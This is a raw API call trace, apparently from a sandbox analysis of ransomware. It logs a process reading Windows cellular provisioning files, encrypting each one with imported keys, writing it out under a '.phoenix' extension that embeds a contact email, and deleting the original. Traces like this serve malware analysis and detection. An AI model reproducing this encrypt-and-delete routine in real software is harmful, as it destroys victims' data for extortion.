	[0248.199] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\363__Connections_Cellular_MTS (Russian Federation)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\363__connections_cellular_mts (russian federation)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8
	[0248.199] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0248.199] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0248.199] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\363__Connections_Cellular_MTS (Russian Federation)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\363__connections_cellular_mts (russian federation)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4
	[0248.200] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x1513c0) returned 1
	[0248.200] CryptSetKeyParam (hKey=0x1513c0, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0248.200] ReadFile (in: hFile=0x2e8, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x2cf, lpOverlapped=0x0) returned 1
	[0248.210] CryptEncrypt (in: hKey=0x1513c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x2d0, dwBufLen=0x2d0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x2d0) returned 1
	[0248.210] WriteFile (in: hFile=0x2b4, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x2d0, lpOverlapped=0x0) returned 1
	[0248.211] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x1516c0) returned 1
	[0248.211] CryptSetKeyParam (hKey=0x1516c0, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0248.211] CryptEncrypt (in: hKey=0x1516c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xc0, dwBufLen=0xc0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xc0) returned 1
	[0248.212] CryptDestroyKey (hKey=0x1516c0) returned 1
	[0248.212] WriteFile (in: hFile=0x2b4, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x172, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x172, lpOverlapped=0x0) returned 1
	[0248.212] CryptDestroyKey (hKey=0x1513c0) returned 1
	[0248.212] CloseHandle (hObject=0x2e8) returned 1
	[0248.212] CloseHandle (hObject=0x2b4) returned 1
	[0248.212] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\363__Connections_Cellular_MTS (Russian Federation)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\363__connections_cellular_mts (russian federation)_i0$(__mvid)@wap.provxml")) returned 1
	[0248.213] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0248.213] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\364__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\364__cellular_persimsettings_$(__iccid)_appid.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4
	[0248.214] GetFileSizeEx (in: hFile=0x2b4, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=472) returned 1
	[0248.214] CloseHandle (hObject=0x2b4) returned 1
	[0248.214] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\364__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\364__cellular_persimsettings_$(__iccid)_appid.provxml")) returned 0x20
	[0248.214] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\364__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\364__cellular_persimsettings_$(__iccid)_appid.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0248.214] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\364__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\364__cellular_persimsettings_$(__iccid)_appid.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4
	[0248.214] SetFilePointerEx (in: hFile=0x2b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0248.214] SetFilePointerEx (in: hFile=0x2b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0248.215] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\364__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\364__cellular_persimsettings_$(__iccid)_appid.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8
	[0248.215] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x151600) returned 1
	[0248.215] CryptSetKeyParam (hKey=0x151600, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0248.215] ReadFile (in: hFile=0x2b4, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x1d8, lpOverlapped=0x0) returned 1
	[0248.216] CryptEncrypt (in: hKey=0x151600, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x1e0, dwBufLen=0x1e0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x1e0) returned 1
	[0248.217] WriteFile (in: hFile=0x2e8, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x1e0, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x1e0, lpOverlapped=0x0) returned 1
	[0248.218] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x151240) returned 1
	[0248.218] CryptSetKeyParam (hKey=0x151240, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0248.218] CryptEncrypt (in: hKey=0x151240, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x90, dwBufLen=0x90 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x90) returned 1
	[0248.218] CryptDestroyKey (hKey=0x151240) returned 1
	[0248.218] WriteFile (in: hFile=0x2e8, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x142, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x142, lpOverlapped=0x0) returned 1
	[0248.218] CryptDestroyKey (hKey=0x151600) returned 1
	[0248.218] CloseHandle (hObject=0x2b4) returned 1
	[0248.218] CloseHandle (hObject=0x2e8) returned 1
	[0248.219] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\364__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\364__cellular_persimsettings_$(__iccid)_appid.provxml")) returned 1
	[0248.220] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0248.220] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\365__Connections_Cellular_NCC (Russian Federation)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\365__connections_cellular_ncc (russian federation)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8
	[0248.220] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=650) returned 1
	[0248.220] CloseHandle (hObject=0x2e8) returned 1
	[0248.221] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\365__Connections_Cellular_NCC (Russian Federation)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\365__connections_cellular_ncc (russian federation)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0248.221] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\365__Connections_Cellular_NCC (Russian Federation)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\365__connections_cellular_ncc (russian federation)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0248.221] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\365__Connections_Cellular_NCC (Russian Federation)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\365__connections_cellular_ncc (russian federation)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8
	[0248.221] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0248.221] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0248.221] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\365__Connections_Cellular_NCC (Russian Federation)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\365__connections_cellular_ncc (russian federation)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4
	[0248.222] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x1517c0) returned 1
	[0248.222] CryptSetKeyParam (hKey=0x1517c0, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0248.222] ReadFile (in: hFile=0x2e8, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x28a, lpOverlapped=0x0) returned 1
	[0248.262] CryptEncrypt (in: hKey=0x1517c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x290, dwBufLen=0x290 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x290) returned 1
	[0248.262] WriteFile (in: hFile=0x2b4, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x290, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x290, lpOverlapped=0x0) returned 1
	[0248.263] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x151700) returned 1
	[0248.263] CryptSetKeyParam (hKey=0x151700, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0248.263] CryptEncrypt (in: hKey=0x151700, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xc0, dwBufLen=0xc0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xc0) returned 1
	[0248.263] CryptDestroyKey (hKey=0x151700) returned 1
	[0248.263] WriteFile (in: hFile=0x2b4, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x172, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x172, lpOverlapped=0x0) returned 1
	[0248.263] CryptDestroyKey (hKey=0x1517c0) returned 1
	[0248.263] CloseHandle (hObject=0x2e8) returned 1
	[0248.263] CloseHandle (hObject=0x2b4) returned 1
	[0248.263] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\365__Connections_Cellular_NCC (Russian Federation)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\365__connections_cellular_ncc (russian federation)_i0$(__mvid)@wap.provxml")) returned 1
	[0248.265] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0248.265] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\366__Connections_Cellular_NTC (New Telephone Co) (Russian Federation)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\366__connections_cellular_ntc (new telephone co) (russian federation)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4
	[0248.265] GetFileSizeEx (in: hFile=0x2b4, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=673) returned 1
	[0248.265] CloseHandle (hObject=0x2b4) returned 1
	[0248.265] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\366__Connections_Cellular_NTC (New Telephone Co) (Russian Federation)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\366__connections_cellular_ntc (new telephone co) (russian federation)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0248.265] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\366__Connections_Cellular_NTC (New Telephone Co) (Russian Federation)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\366__connections_cellular_ntc (new telephone co) (russian federation)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0248.266] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\366__Connections_Cellular_NTC (New Telephone Co) (Russian Federation)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\366__connections_cellular_ntc (new telephone co) (russian federation)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4
	[0248.266] SetFilePointerEx (in: hFile=0x2b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0248.266] SetFilePointerEx (in: hFile=0x2b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0248.266] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\366__Connections_Cellular_NTC (New Telephone Co) (Russian Federation)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\366__connections_cellular_ntc (new telephone co) (russian federation)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8
	[0248.266] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x151600) returned 1
	[0248.266] CryptSetKeyParam (hKey=0x151600, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0248.266] ReadFile (in: hFile=0x2b4, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x2a1, lpOverlapped=0x0) returned 1
	[0248.268] CryptEncrypt (in: hKey=0x151600, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x2b0, dwBufLen=0x2b0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x2b0) returned 1
	[0248.268] WriteFile (in: hFile=0x2e8, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x2b0, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x2b0, lpOverlapped=0x0) returned 1
	[0248.269] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x1514c0) returned 1
	[0248.269] CryptSetKeyParam (hKey=0x1514c0, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0248.269] CryptEncrypt (in: hKey=0x1514c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xe0, dwBufLen=0xe0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xe0) returned 1
	[0248.269] CryptDestroyKey (hKey=0x1514c0) returned 1
	[0248.269] WriteFile (in: hFile=0x2e8, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x192, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x192, lpOverlapped=0x0) returned 1
	[0248.269] CryptDestroyKey (hKey=0x151600) returned 1
	[0248.269] CloseHandle (hObject=0x2b4) returned 1
	[0248.269] CloseHandle (hObject=0x2e8) returned 1
	[0248.269] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\366__Connections_Cellular_NTC (New Telephone Co) (Russian Federation)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\366__connections_cellular_ntc (new telephone co) (russian federation)_i0$(__mvid)@wap.provxml")) returned 1
	[0248.270] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0248.270] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\367__Connections_Cellular_OJSC Sibirtelecom (Russian Federation)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\367__connections_cellular_ojsc sibirtelecom (russian federation)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8
	[0248.271] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=504) returned 1
	[0248.271] CloseHandle (hObject=0x2e8) returned 1
	[0248.271] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\367__Connections_Cellular_OJSC Sibirtelecom (Russian Federation)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\367__connections_cellular_ojsc sibirtelecom (russian federation)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0248.271] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\367__Connections_Cellular_OJSC Sibirtelecom (Russian Federation)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\367__connections_cellular_ojsc sibirtelecom (russian federation)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0248.271] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\367__Connections_Cellular_OJSC Sibirtelecom (Russian Federation)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\367__connections_cellular_ojsc sibirtelecom (russian federation)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8
	[0248.271] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0248.271] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0248.271] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\367__Connections_Cellular_OJSC Sibirtelecom (Russian Federation)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\367__connections_cellular_ojsc sibirtelecom (russian federation)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4
	[0248.271] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x151440) returned 1
	[0248.272] CryptSetKeyParam (hKey=0x151440, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
